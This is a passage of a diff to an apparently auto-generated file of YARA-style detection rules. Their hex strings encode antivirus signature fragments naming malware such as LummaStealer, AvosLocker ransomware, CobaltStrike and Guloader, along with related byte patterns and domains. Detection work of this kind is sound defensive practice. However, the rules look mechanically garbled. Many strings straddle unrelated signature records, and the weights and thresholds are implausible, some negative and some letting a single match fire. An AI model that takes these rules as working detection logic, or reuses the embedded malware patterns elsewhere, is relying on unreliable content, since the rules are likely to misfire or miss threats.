1)*17440) >=2 } -rule _InfrastructureShared_6229{ +rule _InfrastructureShared_6553{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 36 00 01 00 17 03 40 00 00 40 2e 74 61 67 67 61 6e 74 00 30 90 01 1a 40 00 00 e0 90 00 01 00 2a 03 50 45 00 00 64 86 08 90 01 11 0b 02 0e 2b 00 de 06 00 00 8a 04 00 00 00 00 00 00 90 01 02 00 00 10 00 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=2 + +} +rule _InfrastructureShared_6554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -64792,7 +68171,7 @@ rule _InfrastructureShared_6229{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*105) >=2 } -rule _InfrastructureShared_6230{ +rule _InfrastructureShared_6555{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -64803,7 +68182,7 @@ rule _InfrastructureShared_6230{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*9235) >=2 } -rule _InfrastructureShared_6231{ +rule _InfrastructureShared_6556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -64814,7 +68193,7 @@ rule _InfrastructureShared_6231{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*46) >=2 } -rule _InfrastructureShared_6232{ +rule _InfrastructureShared_6557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -64825,7 +68204,7 @@ rule _InfrastructureShared_6232{ ((#a_77_0 & 1)*19491+(#a_6e_1 & 1)*27247) >=2 } -rule _InfrastructureShared_6233{ +rule _InfrastructureShared_6558{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -64836,43 +68215,54 @@ rule _InfrastructureShared_6233{ ((#a_46_0 & 1)*21283+(#a_33_1 & 1)*77) >=2 } -rule _InfrastructureShared_6234{ +rule _InfrastructureShared_6559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 75 6e 64 6f 2e 67 65 6e 21 48 2e 32 00 01 00 0f 03 66 81 f9 4d 5a 0f 85 90 01 01 ff ff ff 90 00 01 00 1c 03 64 8b 40 30 90 02 40 8b 40 0c 90 02 60 8b 70 1c 90 02 70 ad 90 02 40 8b 40 08 90 00 01 00 08 01 } //18467 $a_24_1 = {00 00 00 00 00 78 69 00 00 02 00 02 00 03 00 21 23 53 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 41 76 6f 73 4c 6f 63 6b 65 72 2e 41 4b 00 01 00 10 03 8a 45 dc 30 44 0d dd 41 83 f9 90 01 01 72 90 00 01 00 12 03 30 4c 05 dd 40 83 f8 90 01 01 73 05 8a 4d dc eb 90 00 01 00 12 03 0f be c9 33 ce 69 f1 90 01 04 8a 0a 42 84 c9 75 90 00 00 00 78 69 00 00 02 00 02 00 04 00 21 23 48 53 54 52 3a 45 64 69 73 6c 6f 61 53 74 72 69 6e 67 73 00 01 00 07 80 01 77 73 63 2e 70 64 62 01 00 0f 80 01 69 } //-29372 - $a_66_2 = {6c 65 7a 69 65 20 69 73 20 01 00 15 80 01 76 69 72 74 75 61 6c 70 72 6f 74 65 63 74 20 65 72 63 6f 64 65 01 00 0c 80 01 64 77 42 6d 70 53 69 7a 65 20 69 73 00 00 78 69 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 44 72 6f 6f 6b 6f 72 62 21 62 69 74 00 } //30789 + $a_66_2 = {6c 65 7a 69 65 20 69 73 20 01 00 15 80 01 76 69 72 74 75 61 6c 70 72 6f 74 65 63 74 20 65 72 63 6f 64 65 01 00 0c 80 01 64 77 42 6d 70 53 69 7a 65 20 69 73 00 00 78 69 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 61 6e 74 79 46 6f 72 6b 2e 43 21 64 68 61 00 03 00 } //30789 condition: ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*-29372+(#a_66_2 & 1)*30789) >=2 } -rule _InfrastructureShared_6235{ +rule _InfrastructureShared_6560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_46_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 41 76 6f 73 4c 6f 63 6b 65 72 2e 41 4b 00 01 00 10 03 8a 45 dc 30 44 0d dd 41 83 f9 90 01 01 72 90 00 01 00 12 03 30 4c 05 dd 40 83 f8 90 01 01 73 05 8a 4d dc eb 90 00 01 00 12 03 0f be c9 } //21283 $a_f1_1 = {01 04 8a 0a 42 84 c9 75 90 00 00 00 78 69 00 00 02 00 02 00 04 00 21 23 48 53 54 52 3a 45 64 69 73 6c 6f 61 53 74 72 69 6e 67 73 00 01 00 07 80 01 77 73 63 2e 70 64 62 01 00 0f 80 01 69 45 78 65 66 69 6c 65 7a 69 65 20 69 73 20 01 00 15 80 01 76 69 72 74 75 61 6c 70 72 6f 74 65 63 74 20 65 72 63 6f 64 65 01 00 0c } //-12749 - $a_77_2 = {6d 70 53 69 7a 65 20 69 73 00 00 78 69 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 44 72 6f 6f 6b 6f 72 62 21 62 69 74 00 01 00 0d 01 2f 63 78 63 6c 69 63 6b 2e 70 68 70 3f 01 00 10 01 64 6f 77 6e 2e 77 65 62 62 6f 72 61 2e 63 6f 6d 01 00 13 01 70 } //384 + $a_77_2 = {6d 70 53 69 7a 65 20 69 73 00 00 78 69 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 61 6e 74 79 46 6f 72 6b 2e 43 21 64 68 61 00 03 00 1b 03 48 8b be 98 00 00 00 90 02 10 b9 00 00 10 00 90 02 05 31 d2 90 02 05 ff d7 90 00 03 00 1b 03 b9 00 00 10 00 90 02 05 31 } //384 condition: ((#a_46_0 & 1)*21283+(#a_f1_1 & 1)*-12749+(#a_77_2 & 1)*384) >=2 } -rule _InfrastructureShared_6236{ +rule _InfrastructureShared_6561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_54_0 = {3a 45 64 69 73 6c 6f 61 53 74 72 69 6e 67 73 00 01 00 07 80 01 77 73 63 2e 70 64 62 01 00 0f 80 01 69 45 78 65 66 69 6c 65 7a 69 65 20 69 73 20 01 00 15 80 01 76 69 72 74 75 61 6c 70 72 6f 74 65 63 74 20 65 72 63 6f 64 65 01 00 0c 80 01 64 77 42 6d } //18467 - $a_7a_1 = {20 69 73 00 00 78 69 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 44 72 6f 6f 6b 6f 72 62 21 62 69 74 00 01 00 0d 01 2f 63 78 63 6c 69 63 6b 2e 70 68 70 3f 01 00 10 01 64 6f 77 6e 2e 77 65 62 62 6f 72 61 2e 63 6f 6d 01 00 13 01 70 61 72 74 6e 65 72 2e 77 65 62 62 } //21360 - $a_2e_2 = {6f 6d 00 00 78 69 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 47 44 61 64 5f 52 65 73 6f 6c 76 65 72 5f 68 73 74 72 2e 41 21 64 68 61 00 01 00 0c 01 52 65 73 6f 6c 76 65 72 2e 64 6c 6c 01 00 0e 01 50 72 6f 67 72 61 6d 53 74 61 72 74 75 70 01 00 0d } //29295 + $a_7a_1 = {20 69 73 00 00 78 69 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 61 6e 74 79 46 6f 72 6b 2e 43 21 64 68 61 00 03 00 1b 03 48 8b be 98 00 00 00 90 02 10 b9 00 00 10 00 90 02 05 31 d2 90 02 05 ff d7 90 00 03 00 1b 03 b9 00 00 10 00 90 02 05 31 d2 90 02 05 48 8b be 98 00 00 00 } //21360 + $a_ff_2 = {90 00 00 00 78 } //656 condition: - ((#a_54_0 & 1)*18467+(#a_7a_1 & 1)*21360+(#a_2e_2 & 1)*29295) >=2 + ((#a_54_0 & 1)*18467+(#a_7a_1 & 1)*21360+(#a_ff_2 & 1)*656) >=2 } -rule _InfrastructureShared_6237{ +rule _InfrastructureShared_6562{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 61 6e 74 79 46 6f 72 6b 2e 43 21 64 68 61 00 03 00 1b 03 48 8b be 98 00 00 00 90 02 10 b9 00 00 10 00 90 02 05 31 d2 90 02 05 ff d7 90 00 03 00 1b 03 b9 00 00 10 00 90 02 05 31 d2 90 02 } //16675 + $a_be_1 = {00 00 00 90 02 05 ff d7 90 00 00 00 78 69 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 44 72 6f 6f 6b 6f 72 62 21 62 69 74 00 01 00 0d 01 2f 63 78 63 6c 69 63 6b 2e 70 68 70 3f 01 00 10 01 64 6f 77 6e 2e 77 65 62 62 6f 72 61 2e 63 6f 6d 01 00 13 01 70 61 72 74 6e 65 72 2e 77 65 62 62 6f 72 61 2e 63 6f 6d 00 00 78 69 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 } //18437 + condition: + ((#a_46_0 & 1)*16675+(#a_be_1 & 1)*18437) >=3 + +} +rule _InfrastructureShared_6563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -64884,7 +68274,7 @@ rule _InfrastructureShared_6237{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*25966+(#a_00_2 & 1)*56) >=3 } -rule _InfrastructureShared_6238{ +rule _InfrastructureShared_6564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -64896,7 +68286,7 @@ rule _InfrastructureShared_6238{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*269+(#a_00_2 & 1)*104) >=3 } -rule _InfrastructureShared_6239{ +rule _InfrastructureShared_6565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -64908,7 +68298,7 @@ rule _InfrastructureShared_6239{ ((#a_46_0 & 1)*16675+(#a_27_1 & 1)*26624+(#a_00_2 & 1)*3) >=3 } -rule _InfrastructureShared_6240{ +rule _InfrastructureShared_6566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -64919,7 +68309,7 @@ rule _InfrastructureShared_6240{ ((#a_46_0 & 1)*16675+(#a_75_2 & 1)*384) >=3 } -rule _InfrastructureShared_6241{ +rule _InfrastructureShared_6567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -64931,7 +68321,7 @@ rule _InfrastructureShared_6241{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_69_2 & 1)*0) >=3 } -rule _InfrastructureShared_6242{ +rule _InfrastructureShared_6568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -64943,7 +68333,7 @@ rule _InfrastructureShared_6242{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*21075+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_6243{ +rule _InfrastructureShared_6569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -64955,7 +68345,7 @@ rule _InfrastructureShared_6243{ ((#a_54_0 & 1)*18467+(#a_9c_1 & 1)*24977+(#a_70_2 & 1)*23132) >=3 } -rule _InfrastructureShared_6244{ +rule _InfrastructureShared_6570{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -64967,7 +68357,7 @@ rule _InfrastructureShared_6244{ ((#a_63_0 & 1)*18467+(#a_00_1 & 1)*3+(#a_77_2 & 1)*19491) >=3 } -rule _InfrastructureShared_6245{ +rule _InfrastructureShared_6571{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -64979,7 +68369,7 @@ rule _InfrastructureShared_6245{ ((#a_77_0 & 1)*19491+(#a_6f_1 & 1)*21562+(#a_57_2 & 1)*28001) >=3 } -rule _InfrastructureShared_6246{ +rule _InfrastructureShared_6572{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -64991,104 +68381,137 @@ rule _InfrastructureShared_6246{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*12079+(#a_71_2 & 1)*12033) >=3 } -rule _InfrastructureShared_6247{ +rule _InfrastructureShared_6573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_77_0 = {69 3a 48 53 54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 47 65 74 52 69 67 68 74 54 6f 47 6f 00 01 00 0c 01 47 65 74 52 69 67 68 74 54 6f 47 6f 01 00 0a 01 78 67 65 74 72 69 67 68 74 78 01 00 17 03 77 77 77 2e 77 69 6b 69 7a 75 2e 6e 65 74 90 02 15 2e 68 74 6d 90 00 00 00 78 69 00 00 03 00 03 00 04 00 21 23 48 53 54 52 3a 57 } //27683 $a_32_1 = {59 6f 75 58 75 6e 00 02 00 08 00 5c 79 6f 75 78 75 6e 5c 01 00 14 01 5b 63 6f 6e 6e 65 63 74 41 6e 64 53 65 6e 64 44 61 74 61 5d 01 00 13 03 5c 64 6f 77 } //28265 - $a_61_2 = {5c 90 02 20 2e 65 78 65 90 00 01 00 0c 01 79 78 64 6f 77 6e 5f 70 61 74 63 68 00 00 03 00 78 69 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 2e 53 4b 21 4d 54 42 00 02 00 10 01 46 6f 72 6d 57 43 2e 72 65 73 6f 75 72 63 65 73 02 00 25 01 24 34 61 33 32 66 65 66 34 2d 61 } //27758 + $a_61_2 = {5c 90 02 20 2e 65 78 65 90 00 01 00 0c 01 79 78 64 6f 77 6e 5f 70 61 74 63 68 00 00 03 00 78 69 00 00 04 00 04 00 02 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 32 36 00 02 00 12 03 2e 74 65 78 74 90 01 1f 20 00 00 60 2e 6a 00 00 90 00 02 00 2e 03 50 45 00 00 4c 01 0a 90 01 11 0b 01 05 0d 00 32 00 00 00 00 } //27758 condition: ((#a_77_0 & 1)*27683+(#a_32_1 & 1)*28265+(#a_61_2 & 1)*27758) >=3 } -rule _InfrastructureShared_6248{ +rule _InfrastructureShared_6574{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 59 6f 75 58 75 6e 00 02 00 08 00 5c 79 6f 75 78 75 6e 5c 01 00 14 01 5b 63 6f 6e 6e 65 63 74 41 6e 64 53 65 6e 64 44 61 74 61 5d 01 00 13 03 5c 64 6f 77 6e 6c 6f 61 64 5c 90 02 20 2e 65 78 65 90 00 01 00 0c 01 79 78 64 6f 77 6e } //18467 - $a_74_1 = {68 00 00 03 00 78 69 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 2e 53 4b 21 4d 54 42 00 02 00 10 01 46 6f 72 6d 57 43 2e 72 65 73 6f 75 72 63 65 73 02 00 25 01 24 34 61 33 32 66 65 66 34 2d 61 35 66 64 2d 34 31 39 64 2d 62 30 } //28767 - $a_64_2 = {31 34 34 37 35 63 62 62 39 31 00 00 78 69 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 41 75 74 6f 41 74 74 72 4d 73 69 6c 5f 43 31 31 } //13412 - $a_45_3 = {00 01 00 06 01 64 6c 6c 2e 63 6f 01 00 10 01 63 00 6f 00 6d 00 70 00 72 00 65 00 73 00 73 00 01 00 17 01 44 6f 74 4e 65 74 42 6c 6f 62 4e 47 72 61 6d 2e 31 2e 36 2e 32 2e 30 01 00 07 01 72 2e 64 6c 6c 2e 63 } //17730 + $a_74_1 = {68 00 00 03 00 78 69 00 00 04 00 04 00 02 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 32 36 00 02 00 12 03 2e 74 65 78 74 90 01 1f 20 00 00 60 2e 6a 00 00 90 00 02 00 2e 03 50 45 00 00 4c 01 0a 90 01 11 0b 01 05 0d 00 32 00 00 00 00 03 00 82 d6 04 00 3b 1b 00 00 00 } //28767 condition: - ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28767+(#a_64_2 & 1)*13412+(#a_45_3 & 1)*17730) >=3 + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28767) >=3 } -rule _InfrastructureShared_6249{ +rule _InfrastructureShared_6575{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 32 36 00 02 00 12 03 2e 74 65 78 74 90 01 1f 20 00 00 60 2e 6a 00 00 90 00 02 00 2e 03 50 45 00 00 4c 01 0a 90 01 11 0b 01 05 0d 00 32 00 00 00 00 03 00 82 d6 04 00 3b 1b 00 00 00 10 00 00 00 40 02 00 } //18467 + $a_00_1 = {00 10 90 00 00 00 78 69 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 44 4c 4d 21 4d 54 42 00 02 00 10 01 4d 7a 51 79 } //0 + condition: + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=4 + +} +rule _InfrastructureShared_6576{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 44 4c 4d 21 4d 54 42 00 02 00 10 01 4d 7a 51 79 5a 54 4d 79 4d 7a 49 7a 4d 44 4a 6c 02 00 21 03 4e 8d 04 36 48 8b cd 48 8d 15 90 } //21539 + $a_90_1 = {04 48 ff c6 48 83 c5 90 01 01 48 3b f3 72 e1 90 00 00 00 78 69 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 2e 53 4b 21 4d 54 42 00 02 00 10 01 46 6f 72 6d 57 43 2e 72 65 73 6f 75 72 63 65 73 02 00 25 01 24 34 61 33 32 66 65 66 34 2d 61 35 66 64 2d 34 31 39 64 2d 62 30 64 34 2d 64 66 31 34 34 37 35 63 62 62 39 31 00 00 78 69 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 53 6f 66 74 63 6e 61 70 70 2e 61 77 37 37 00 02 00 13 80 01 68 69 6c 6c 70 64 66 2e 71 75 6c 6f 6f 6b 77 2e 74 6f 70 01 00 11 80 01 44 65 73 6b 62 61 6e 64 4d 6f 75 6e 74 2e 70 64 62 01 00 0f 80 01 48 69 6c 6c 50 64 66 52 77 6c 64 2e } //1025 + condition: + ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*1025) >=4 + +} +rule _InfrastructureShared_6577{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 2e 53 4b 21 4d 54 42 00 02 00 10 01 46 6f 72 6d 57 43 2e 72 65 73 6f 75 72 63 65 73 02 00 25 01 24 34 61 33 32 66 65 66 34 2d 61 35 66 64 2d } //21539 - $a_64_1 = {62 30 64 34 2d 64 66 31 34 34 37 35 63 62 62 39 31 00 00 78 69 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 41 75 74 6f 41 74 74 72 4d 73 69 6c 5f 43 31 31 42 45 45 45 43 } //12596 + $a_64_1 = {62 30 64 34 2d 64 66 31 34 34 37 35 63 62 62 39 31 00 00 78 69 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 53 6f 66 74 63 6e 61 70 70 2e 61 77 } //12596 condition: ((#a_4c_0 & 1)*21539+(#a_64_1 & 1)*12596) >=4 } -rule _InfrastructureShared_6250{ +rule _InfrastructureShared_6578{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " + + strings : + $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 53 6f 66 74 63 6e 61 70 70 2e 61 77 37 37 00 02 00 13 80 01 68 69 6c 6c 70 64 66 2e 71 75 6c 6f 6f 6b 77 2e 74 6f 70 01 00 11 80 01 44 65 73 6b 62 61 6e 64 4d 6f 75 6e 74 2e 70 64 62 01 00 0f 80 01 } //16675 + $a_6c_1 = {64 66 52 77 6c 64 2e 65 78 65 00 00 78 69 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 41 75 74 6f 41 74 74 72 4d 73 69 6c 5f 43 31 31 42 45 45 45 43 00 01 00 06 01 64 6c 6c 2e 63 6f 01 00 10 01 63 00 6f 00 6d 00 70 00 72 00 65 00 73 00 73 00 01 00 17 01 44 6f 74 4e 65 74 42 6c 6f 62 4e 47 72 61 6d 2e 31 2e 36 2e 32 2e 30 } //26952 + $a_01_2 = {72 2e 64 6c 6c 2e 63 } //1 r.dll.c + condition: + ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*26952+(#a_01_2 & 1)*1) >=4 + +} +rule _InfrastructureShared_6579{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 41 75 74 6f 41 74 74 72 4d 73 69 6c 5f 43 31 31 42 45 45 45 43 00 01 00 06 01 64 6c 6c 2e 63 6f 01 00 10 01 63 00 6f 00 6d 00 70 00 72 00 65 00 73 00 73 00 01 00 17 01 44 6f 74 4e 65 74 42 6c 6f 62 4e 47 72 61 6d 2e 31 2e 36 2e 32 2e 30 01 00 07 } //18467 $a_64_1 = {6c 2e 63 00 00 78 69 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 56 55 31 32 33 21 4d } //29185 - $a_01_3 = {62 65 73 6b 6e 6b 65 73 01 00 0f 81 01 73 6c 79 69 73 68 20 61 75 74 6f 73 69 74 65 01 00 0b 81 01 75 64 73 74 65 6d 70 6c 69 6e 67 01 00 09 81 01 74 61 69 6c 62 6f 61 72 64 00 00 78 69 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4c 69 6e 6b 75 72 79 00 01 00 18 80 01 74 72 61 64 65 72 73 74 72 75 74 68 72 65 76 65 61 6c 65 64 2e 63 6f 6d 01 00 08 80 01 71 75 69 70 2e } //2048 + $a_01_3 = {62 65 73 6b 6e 6b 65 73 01 00 0f 81 01 73 6c 79 69 73 68 20 61 75 74 6f 73 69 74 65 01 00 0b 81 01 75 64 73 74 65 6d 70 6c 69 6e 67 01 00 09 81 01 74 61 69 6c 62 6f 61 72 64 00 00 78 69 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 42 31 21 4d 54 42 00 01 00 12 81 01 72 61 64 69 6f 61 6b 74 69 76 69 74 65 74 65 72 6e 65 01 00 08 81 01 } //2048 condition: ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*29185+(#a_01_3 & 1)*2048) >=4 } -rule _InfrastructureShared_6251{ +rule _InfrastructureShared_6580{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 56 55 31 32 33 21 4d 54 42 00 01 00 08 81 01 62 65 73 6b 6e 6b 65 73 01 00 0f 81 01 73 6c 79 69 73 68 20 61 75 74 6f 73 69 74 65 01 00 0b 81 01 75 64 73 74 65 6d 70 6c 69 6e 67 01 00 09 81 01 74 } //18467 - $a_62_1 = {61 72 64 00 00 78 69 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4c 69 6e 6b 75 72 79 00 01 00 18 80 01 74 72 61 64 65 72 73 74 72 75 74 68 72 65 76 65 61 6c 65 64 2e 63 6f 6d 01 00 08 80 01 71 75 69 70 2e 65 78 65 01 00 10 80 01 2f 69 6d 61 67 65 73 2f 64 6f 31 35 2e 65 78 65 01 00 09 80 01 77 69 70 65 74 } //26977 - $a_65_2 = {00 78 69 00 00 04 00 04 00 04 00 21 23 50 6f 73 73 69 62 6c 65 3a 48 53 54 52 3a 56 6f 62 66 75 73 2e 67 65 6e 21 41 00 01 00 0d 01 5d 58 5e 6d 72 6d 66 63 56 6d 70 70 7a 01 00 0e 01 23 25 33 38 44 44 45 61 63 65 6c 6b 6b 77 01 00 0d 01 24 33 3a 46 46 49 4b 64 6e 6c 6d 71 7b 01 00 0c 01 24 33 46 46 48 4a 64 6e 6e 70 70 6a 00 00 78 69 00 00 05 00 05 00 01 00 } //25902 - $a_45_3 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 43 2e 50 47 4c 44 21 4d 54 42 00 05 00 3a 03 40 88 f8 34 01 24 00 41 80 e4 90 01 01 45 08 ee 44 08 e0 41 30 c6 41 80 f6 ff 40 88 f8 34 00 41 88 fc 41 80 f4 90 01 01 41 08 c6 41 80 cc 90 01 01 41 } //8993 + $a_62_1 = {61 72 64 00 00 78 69 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 42 31 21 4d 54 42 00 01 00 12 81 01 72 61 64 69 6f 61 6b 74 69 76 69 74 65 74 65 72 6e 65 01 00 08 81 01 63 65 6e 74 69 61 72 65 01 00 09 81 01 6e 6f 61 63 68 69 63 61 6c 01 00 0b 81 01 69 6e 75 6d 62 72 61 } //26977 + $a_6e_2 = {00 78 69 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4c 69 6e 6b 75 72 79 00 01 00 18 80 01 74 72 61 64 65 72 73 74 72 75 74 68 72 65 76 65 61 6c 65 64 2e 63 6f 6d 01 00 08 80 01 71 75 69 70 2e 65 78 65 01 00 10 80 01 2f 69 6d 61 67 65 73 2f 64 6f 31 35 2e 65 78 65 01 00 09 80 01 77 69 70 65 74 2e 65 78 65 00 00 78 } //26996 condition: - ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*26977+(#a_65_2 & 1)*25902+(#a_45_3 & 1)*8993) >=4 + ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*26977+(#a_6e_2 & 1)*26996) >=4 } -rule _InfrastructureShared_6252{ +rule _InfrastructureShared_6581{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 42 31 21 4d 54 42 00 01 00 12 81 01 72 61 64 69 6f 61 6b 74 69 76 69 74 65 74 65 72 6e 65 01 00 08 81 01 63 65 6e 74 69 61 72 65 01 00 09 81 01 6e 6f 61 63 68 69 63 61 6c 01 00 0b 81 01 69 6e 75 } //18467 + $a_61_1 = {69 6f 6e 00 00 78 69 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4c 69 6e 6b 75 72 79 00 01 00 18 80 01 74 72 61 64 65 72 73 74 72 75 74 68 72 65 76 65 61 6c 65 64 2e 63 6f 6d 01 00 08 80 01 71 75 69 70 2e 65 78 65 01 00 10 80 01 2f 69 6d 61 67 65 73 2f 64 6f 31 35 2e 65 78 65 01 00 09 80 01 77 69 70 65 74 2e 65 78 65 00 00 } //25197 + $a_00_3 = {04 00 21 23 } //4 + condition: + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25197+(#a_00_3 & 1)*4) >=4 + +} +rule 